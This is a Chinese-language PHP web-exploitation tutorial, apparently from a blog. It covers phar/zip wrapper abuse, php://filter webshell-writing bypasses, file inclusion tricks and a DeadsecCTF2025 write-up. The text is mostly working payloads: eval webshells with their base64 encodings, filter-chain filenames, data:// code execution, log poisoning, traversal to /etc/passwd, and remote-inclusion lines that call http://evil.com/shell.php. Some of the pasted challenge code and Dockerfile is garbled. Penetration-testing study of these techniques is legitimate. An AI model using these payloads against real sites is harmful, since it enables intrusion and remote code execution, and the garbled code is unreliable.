Phar漏洞,PHP_filter,文件包含漏洞,include结合phar

Phar漏洞

一、想象一下这个场景

1.1 快递员的"狸猫换太子"

想象:

你是个快递员,公司规定"只收衣服包裹,不收电器包裹"。

有个坏蛋把一台微波炉(PHP代码)装进衣服盒子(ZIP文件)里,然后在盒子上贴个"衣服"标签(`.jpg`)。

你看标签是"衣服",就收了。

公司仓库的智能分拣机(PHP内核)拆包裹时,不看标签,而是用X光扫描(文件头检测)------发现里面是微波炉!

但公司有条规定:"只要是从包裹里取出的东西,都直接使用"。

结果:微波炉被插上电运行了(PHP代码执行)!

二、Phar漏洞就是"挂羊头卖狗肉"

2.1 简单三步攻击

php 复制代码
# 1. 坏蛋准备"毒包裹"
# 把恶意代码(shell.php)打包成ZIP,就像把微波炉装进衣服盒子
echo "<?php system('whoami'); ?>" > shell.php
zip evil.zip shell.php

# 2. 贴上"安全标签"(伪装成图片)
# 把 evil.zip 改名为 avatar.jpg
mv evil.zip avatar.jpg

# 3. 骗快递员"请拆开这个包裹并拿出里面的东西"
# 网站代码不小心执行了:
include('phar://uploads/avatar.jpg/shell.php');
# 结果:whoami命令被执行了!

2.2 为啥能成功?

普通人的思维:

文件叫 avatar.jpg → 肯定是图片 → 直接显示

PHP内核的思维:

收到命令:phar://avatar.jpg/shell.php

哦,是phar协议!让我看看avatar.jpg里面有什么

扫描文件头:咦?这不是图片,是ZIP文件!

打开ZIP,找到shell.php

读取shell.php内容:<?php system('whoami'); ?>

这是PHP代码,执行它!

三、真实网站的例子

3.1 常见的网站代码漏洞

php 复制代码
假设一个网站有这样的代码:
// 1. 上传头像功能(很多网站都有)
$avatar = $_FILES['avatar'];
move_uploaded_file($avatar['tmp_name'], 'uploads/'.$avatar['name']);

// 2. 包含模板功能(也很常见)
$page = $_GET['page'];  // 比如 ?page=about.php
include('templates/'.$page);
```

**攻击者可以**:
1. 上传一个"毒图片"`avatar.jpg`(实际是ZIP)
2. 访问:`?page=phar://uploads/avatar.jpg/shell.php`
3. Boom!代码执行了

四、比喻理解PHP内部机制

4.1 PHP的"三层办事流程"

第一层:前台接待员(Zend引擎)
  • 工作:收到用户请求 `include('phar://xxx.jpg/yyy.php')`
  • 特点:只看协议头 `phar://`,不看文件名
  • 行动:"这是phar协议的文件,交给phar部门处理"
第二层:phar部门专家(Phar扩展)
  • 工作:处理所有phar://开头的请求
  • 绝招:**不看文件后缀,直接看文件内容**
  • 发现:"xxx.jpg文件里实际是ZIP格式!让我拆开看看..."
  • 找到:"哦,里面有yyy.php文件"
第三层:PHP代码执行器(Zend虚拟机)
  • 工作:执行PHP代码
  • 流程:"phar部门给了我yyy.php的内容,我照常执行"
  • 结果:恶意代码运行了!

4.2 关键点:PHP"太聪明"了

正常软件:

文件名.jpg → 肯定是图片 → 只按图片处理

PHP的phar:

文件名.jpg → 先别急,让我看看内容 → 啊,是ZIP!→ 按ZIP处理

五、渗透测试时怎么用?

5.1 简单的测试步骤

php 复制代码
// 1. 准备"毒包裹"
// 创建一句话木马
file_put_contents('shell.php', '<?php eval($_POST["cmd"]); ?>');

// 2. 打包成ZIP
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);
$zip->addFile('shell.php');
$zip->close();

// 3. 重命名为图片
rename('test.zip', 'test.jpg');

// 4. 上传到目标网站

// 5. 尝试触发(如果存在文件包含漏洞)
// 访问:http://target.com/page.php?file=phar://uploads/test.jpg/shell.php
// 或者:include('phar://uploads/test.jpg/shell.php');

5.2 查找可利用的点

  1. 找上传点:头像上传、附件上传、图片上传

  2. 找包含点:URL参数包含文件,比如:

  • `?page=about`

  • `?file=download.pdf`

  • `?action=show&template=default`

  1. 组合利用:上传"毒图片" + 通过包含触发

一句话总结

Phar漏洞就是:你把一个ZIP文件改名为.jpg上传,PHP傻乎乎地按ZIP拆开,执行了里面的PHP代码。

浅谈PHP_filter的妙用

1.巧用编码与解码

核心原理

该绕过的核心是利用 PHP 的 php://filter 伪协议配合 convert.base64-decode 过滤器,在写入文件时对内容进行 Base64 解码操作。PHP 的 Base64 解码器在解码时会自动忽略非 Base64 字符集内的字符a-z, A-Z, 0-9, +, / 之外的字符)。

具体步骤分析

1. 原始代码逻辑分析
php 复制代码
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
  • $content 初始值包含 <?php exit; ?>,一旦文件被执行,遇到 exit 语句会立即终止,后续代码无法执行。
  • 用户通过 POST 提交的 txt 参数内容会被追加到 $content 后面。
  • 最终,整个 $content 会被写入用户通过 POST 提交的 filename 参数指定的文件中。
2. 利用点:filename 参数可控

攻击者可以控制 filename 参数的值。通过将其设置为 php://filter/write=convert.base64-decode/resource=shell.php

  • php://filter: 表示使用过滤器流。
  • write=convert.base64-decode: 指定在写入文件之前,对数据进行 Base64 解码。
  • resource=shell.php: 指定最终写入的文件名为 shell.php
3. 构造 Payload

攻击者需要精心构造 POST 请求中的 txt 参数值。

  • 目标恶意代码 :例如 <?php eval($_POST['cmd']);?>
  • Base64 编码恶意代码 :先对目标代码进行 Base64 编码,得到 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
  • 处理前置 <?php exit; ?>
    • 原始 $content 开头是 <?php exit; ?>
    • Base64 解码器会忽略其中的非 Base64 字符(<, ?, p, h, , e, x, i, t, ;, > 中只有 p, h, e, x, i, t 是合法字符)。因此,解码器实际会尝试解码 phpexit 这 7 个字符。
    • Base64 解码要求输入字符串长度是 4 的倍数。phpexit 长度为 7,需要补 1 个字符(如 a)凑齐 8 个字符(即 2 个 4 字符组)。
  • 构造 txt 参数txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。这里 a 是补位的字符,后面是恶意代码的 Base64 编码。
4. 最终 $content 写入过程

最终 $content 的值为: <?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

当通过 php://filter/write=convert.base64-decode 写入时,会发生以下解码过程:

  1. 解码器扫描整个字符串,跳过所有非 Base64 字符。
  2. 剩余的合法字符序列为:phpexitaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(即 phpexit + 补位的 a + PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==)。
  3. 整个序列被当作 Base64 编码进行解码:
    • 前 8 个字符 phpexita 解码后产生一段无意义的二进制数据(乱码)。
    • 后续字符 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== 被成功解码还原为原始目标代码 <?php eval($_POST['cmd']);?>
  4. 解码后的二进制数据(乱码 + 恶意代码)被写入 shell.php 文件。
5. 结果

写入 shell.php 文件的内容中:

  • 开头的 <?php exit; ?> 经过 Base64 解码后变成了无意义的乱码,不再构成有效的 PHP 语句。
  • 目标恶意代码 <?php eval($_POST['cmd']);?> 被成功还原并写入文件。
  • 因此,当访问 shell.php 时,前置的 exit 被成功绕过,恶意代码得以执行。

关键点总结

  • 利用 php://filter 伪协议:在写入文件前对数据进行处理(此处是 Base64 解码)。
  • Base64 解码特性:自动忽略非 Base64 字符集内的字符。
  • 字符补齐:确保待解码字符串长度是 4 的倍数,防止解码错误或截断。
  • 无效化前置代码 :通过解码将 <?php exit; ?> 变成乱码,使其失效。
  • 还原恶意代码:恶意代码经过 Base64 编码后作为有效数据的一部分,在解码后被还原。

2.利用字符串操作方法

PHP过滤器链绕过方法详解

此方法通过结合strip_tags过滤标签和base64编解码来实现绕过,核心是利用php://filter支持多个过滤器链式执行的特性。以下是详细步骤的整合:

核心矛盾
  • 目标文件开头的<?php exit; ?>是PHP标签,使用strip_tags可直接过滤。
  • 但Webshell(如<?php eval($_POST['cmd']);?>)也包含PHP标签,直接应用strip_tags会导致Webshell被一并过滤。
解决思路

采用"先编码保护Webshell,再过滤标签,最后解码还原"的策略:

  1. 对Webshell进行base64编码,将其转换为无标签的字符串。
  2. 使用strip_tags过滤掉<?php exit; ?>标签。
  3. 对剩余内容进行base64解码,还原Webshell。
具体绕过步骤

步骤1:分析strip_tags的作用

  • strip_tags会删除所有HTML/PHP标签(如<?php ... ?>)。
  • 示例:输入<?php exit; ?>TEST,过滤后变为TEST

步骤2:用base64编码保护Webshell

  • Webshell原始内容:<?php eval($_POST['cmd']);?>
  • Base64编码后:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(无标签,避免被过滤)。

步骤3:构造php://filter链式过滤器

  • 使用|分隔多个过滤器:

    • 先执行string.strip_tags:过滤标签。
    • 再执行convert.base64-decode:解码还原内容。
  • 构造filename参数:

    plaintext 复制代码
    php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

步骤4:传递编码后的Webshell

  • txt参数直接传入Base64编码的Webshell:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
最终执行流程

file_put_contents写入时,内容为:

plaintext 复制代码
<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

经过链式处理:

  1. string.strip_tags :移除<?php exit; ?>,剩余PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
  2. convert.base64-decode :解码为<?php eval($_POST['cmd']);?>
结果

最终写入shell.php的内容为完整Webshell,开头的exit标签已被过滤,Webshell可正常执行。

总结

此方法的核心在于:

  • 通过base64编码保护Webshell免受strip_tags影响。
  • 利用过滤器链实现"先过滤标签,后解码还原"的顺序操作。
  • 有效绕过初始的exit屏障,确保恶意代码成功写入。

文件包含漏洞

一、这是什么漏洞?(简单理解)

1.1 生活比喻

想象一下:

你有一个"万能钥匙"(include函数),本来只能开自己家的门(包含网站自己的文件)。

但有一天,你把钥匙给了陌生人(用户输入),结果他用这把钥匙开了别人家的门(包含系统文件),甚至自己造了把钥匙(执行恶意代码)!

1.2 漏洞本质

php 复制代码
// 危险代码示例
$file = $_GET['file'];  // 用户输入文件名
include($file);          // 直接包含!

正常情况:`?file=about.php` → 包含关于页面

攻击情况:`?file=/etc/passwd` → 读取系统密码文件!

二、漏洞产生的两个"开关"

PHP有两个重要配置,就像两个开关:

| 开关 | 默认状态 | 作用 | 危险性 |

|------|---------|------|--------|

| `allow_url_fopen` | On(开) | 允许读取远程文件 | 中 |

| `allow_url_include` | Off(关) | 允许包含远程PHP文件 | 高 |

简单说:

如果第二个开关被打开(设为On),黑客就能让你网站包含他服务器上的恶意代码!

三、四个"危险函数"

PHP有四个包含文件的函数,就像四把钥匙:

| 函数 | 特点 | 比喻 |

|------|------|------|

| `include()` | 包含失败只警告,继续执行 | "试试看,不行就算了" |

| `require()` | 包含失败就报错停止 | "必须成功,不然我就罢工" |

| `include_once()` | 只包含一次 | "这个我看过了,不看了" |

| `require_once()` | 必须包含且只一次 | "必须看,但只看一次" |

渗透测试时:找这些函数,看参数是不是用户能控制的。

四、PHP的"魔法协议"(重点!)

PHP有几个特殊协议,就像哆啦A梦的"神奇道具":

4.1 `php://input` - "读心术"

功能:读取POST请求的原始数据

攻击示例:

bash 复制代码
GET /vuln.php?file=php://input
POST数据:<?php system('whoami'); ?>

→ PHP会执行POST里的代码!

为什么危险:绕过所有文件上传,直接传代码执行。

4.2 `php://filter` - "变形术"

功能:对文件内容进行编码/解码

常用攻击:读取源码

?file=php://filter/read=convert.base64-encode/resource=config.php

→ 得到config.php的base64编码,解码就能看到源码!
绕过技巧:如果网站限制只能包含`.txt`文件:

?file=php://filter/read=convert.base64-encode/resource=config.php

照样能读!

4.3 `zip://` 和 `phar://` - "套娃攻击"

原理:把PHP木马放进ZIP压缩包,改名后上传

步骤:

  1. 创建 `shell.php`:`<?php eval($_POST'cmd'); ?>`

  2. 打包成 `evil.zip`

  3. 改名为 `evil.jpg` 上传

  4. 触发包含:`?file=zip://uploads/evil.jpg%23shell.php`

(`%23`是`#`的URL编码)

为什么有效:因为PHP识别压缩包不看扩展名,看文件头!

4.4 `data://` - "直通车"

最直接的代码执行:

bash 复制代码
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

→ 直接执行PHP代码!

五、其他"奇葩"包含姿势

5.1 包含日志文件

原理:网站日志会记录访问信息,包括User-Agent

攻击步骤:

  1. 修改User-Agent为:`<?php phpinfo(); ?>`

  2. 访问网站,代码被记录到日志

  3. 包含日志文件:`?file=/var/log/apache2/access.log`

关键:要知道日志文件路径(常见路径要记!)

5.2 包含Session文件

原理:PHP会把Session数据存到文件

攻击条件:

  1. 知道Session文件路径(如 `/tmp/sess_abc123`)

  2. Session中有可控内容

5.3 包含临时文件

场景:文件上传时,PHP会先创建临时文件

攻击方法:

  1. 快速上传文件

  2. 更快地包含临时文件(竞争条件)

  3. 执行临时文件中的代码

5.4 包含图片马

经典攻击:

  1. 制作图片木马:图片 + PHP代码

  2. 上传到网站

  3. 包含图片:`?file=uploads/shell.jpg`

六、绕过限制的"花式操作"

6.1 绕过后缀限制(网站加`.php`后缀)

方法1:问号截断

正常:?file=test → 实际包含 test.php

绕过:?file=http://evil.com/shell.php?

→ 包含 http://evil.com/shell.php?.php

→ ?后面的被忽略!

方法2:井号截断

?file=http://evil.com/shell.php%23

→ 包含 http://evil.com/shell.php#.php

→ #后面的被忽略!

6.2 绕过路径限制(网站限制目录)

目录遍历:

假设网站限制在 /var/www/html/

?file=../../../etc/passwd

→ 实际路径:/var/www/html/../../../etc/passwd

→ 简化为:/etc/passwd ✓

编码绕过:

  • `../` → `%2e%2e%2f`

  • `..\` → `%2e%2e%5c`

  • 双重编码:`%252e%252e%252f`

6.3 古老但有效的截断

%00截断(PHP<5.3.4):

?file=shell.php%00

→ 遇到%00就停止,后面的被忽略

长度截断(Windows/Linux有路径长度限制):

Windows(256字节):?file=shell.php\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

→ 超长路径被截断,.php被丢弃

当include邂逅phar------DeadsecCTF2025 baby-web

(结合ai的理解)

题目,包含一个个index.php和一个upload.php

php 复制代码
<?php
# index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope < ");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope < ");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope < ");
}
@include($SANDBOX . '/' . $include_url);
?>
<?php
# upload.php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x- bzip2',
'application/gzip',
'application/x- gzip',
'application/x- xz',
'application/x-7z- compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, " _ HALT_COMPILER();") = false | stripos($data, "PK") =
false |
stripos($data, "<?") = false | stripos(strtolower($data), "<?php") =
false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] = 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) | !isset($_FILES['file']
['name'])) {
die("Nope < ");
}
/
mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
然后docker环境也非常简单,没有配什么奇怪的东西,全是默认配置,php版本也非常高,基本上能想到
的一些绕过trick都绕不了:
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope < ');
}
/
ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']),
PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope < ');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" .
basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form- data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"> / p>
/
form>

docker环境

bash 复制代码
FROM php:8.2-apache
RUN DEBIAN_FRONTEND=noninteractive apt- get update & \
apt- get install - y \
gcc \
libbz2-dev & \
docker- php- ext- install bz2 & \
rm - rf /var/lib/apt/lists/
RUN rm - rf /var/ w /html *
COPY flag.txt readflag.c /
RUN gcc - o /readflag /readflag.c & \
rm /readflag.c
RUN chown 0: 1337 /flag.txt /readflag & \
chmod 040 /flag.txt & \
chmod 2555 /readflag
COPY src/index.php src/upload.php /var/ w /html/

RUN chown -R root:root /var/ w & \
find /var/ w - type d - exec chmod 555 {} \; & \
find /var/ w - type f - exec chmod 444 {} \; & \
mkdir /var/ w /html/uploads & \
chmod 703 /var/ w /html/uploads
RUN find / - ignore_readdir_race - type f \( - perm -4000 - o - perm -2000 \) - not -
wholename /readflag - delete
USER w - data
RUN (find - version & id - version & sed - version & grep - version) >
/dev/null
USER root
EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod + x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

一、题目分析:看似无懈可击的防御

1.1 题目限制

代码分析

php 复制代码
// index.php 的关键限制
$include_url = basename($_GET['url']);  // 只能用文件名,不能带路径
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("Nope :<");
}
@include($SANDBOX . '/'. $include_url);  // 包含上传的文件

// upload.php 的关键过滤
function filter($tempfile) {
    $data = file_get_contents($tempfile);
    // 检查这些关键词,有就拒绝
    if (strpos($data, "__HALT_COMPILER();") !== false ||
        strpos($data, "PK") !== false ||           // ZIP文件头
        strpos($data, "<?") !== false ||           // PHP标签
        strpos(strtolower($data), "<?php") !== false) {
        return true;  // 过滤掉
    }
    return false;
}

1.2 防御看起来很强

  1. 文件名限制 :只能包含 .zip.bz2.gz.xz.7z 扩展名
  2. 内容过滤 :不能有 PK(ZIP文件头)、<?php<?__HALT_COMPILER();
  3. 路径限制basename() 去掉了所有路径,不能用 ../ 或协议
  4. 高版本PHP:PHP 8.2,很多老漏洞不能用

看起来 :上传木马 → 内容被过滤;用伪协议 → 被 basename() 干掉

二、突破口:PHP的"隐藏功能"

2.1 关键发现

问题 :为什么文件名包含 .phar 就能触发特殊处理?

答案:看PHP源码!

c 复制代码
// 伪代码表示PHP内核处理逻辑
if (文件名包含 ".phar" && 不包含 "://") {
    尝试按Phar文件解析;
}

简单说 :PHP看到文件名里有 .phar,就会尝试按Phar文件解析

2.2 Phar文件的"七十二变"

Phar文件可以伪装成各种格式:

实际格式 PHP如何处理 是否需要解压
纯Phar文件 直接解析
Gzip压缩的Phar 先解压再解析
Bzip2压缩的Phar 先解压再解析
ZIP格式的Phar 按ZIP解析
Tar格式的Phar 按Tar解析

关键点 :压缩后的Phar文件,__HALT_COMPILER();<?php 等关键词会被压缩成二进制,过滤函数无法检测!

三、攻击步骤详解

3.1 第1步:制作"隐形"Phar木马

php 复制代码
// 创建phar木马文件 create.php
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

// 木马代码 - 执行命令
$stub = "<?php\nsystem('whoami');\n__HALT_COMPILER();";
$phar->setStub($stub);

// 添加一些内容(非必须)
$phar->addFromString('test.txt', 'hello');
$phar->stopBuffering();

生成的exploit.phar内容

复制代码
<?php
system('whoami');
__HALT_COMPILER();
... [二进制数据] ...

3.2 第2步:给木马穿"隐身衣"(压缩)

bash 复制代码
# 用gzip压缩
gzip exploit.phar

# 得到 exploit.phar.gz
# 现在文件内容是二进制,过滤函数检测不到关键词了!

压缩前后对比

  • 压缩前:有 <?php__HALT_COMPILER(); → 会被过滤
  • 压缩后:全是二进制码 → 过滤函数无法识别,通过!

3.3 第3步:上传并触发

复制代码
1. 上传 exploit.phar.gz(文件名包含 .phar)
2. 访问:index.php?url=exploit.phar.gz
3. PHP看到文件名有 .phar,启动特殊处理
4. 发现是.gz格式,先解压
5. 解压后得到原始phar文件
6. 执行phar中的代码:system('whoami')

四、为什么能绕过所有防御?

4.1 绕过文件名限制

复制代码
要求:必须是 .zip|.bz2|.gz|.xz|.7z
我们:exploit.phar.gz ✓
    - 以 .gz 结尾 → 通过检查
    - 包含 .phar → 触发PHP特殊处理

4.2 绕过内容过滤

复制代码
过滤:检查 PK、<?、<?php、__HALT_COMPILER();
我们:gzip压缩后的二进制文件
    - 没有可读文本 → 过滤函数检测不到
    - 解压后才有恶意代码,但过滤只在上传时检查一次

4.3 绕过路径限制

复制代码
限制:basename() 去掉了路径和协议
我们:根本不需要路径穿越或协议!
    - 直接包含上传的文件
    - 依赖PHP内置的.phar识别机制
相关推荐
两个人的幸福11 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack13 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820714 天前
PHP 扩展——从入门到理解
php
鹏仔先生14 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
Inhand陈工14 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
云水一下14 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip14 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
零零信安14 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
半条-咸鱼15 天前
【STM32】I2C协议原理、HAL读写与OLED显示操作
嵌入式硬件·c·信息与通信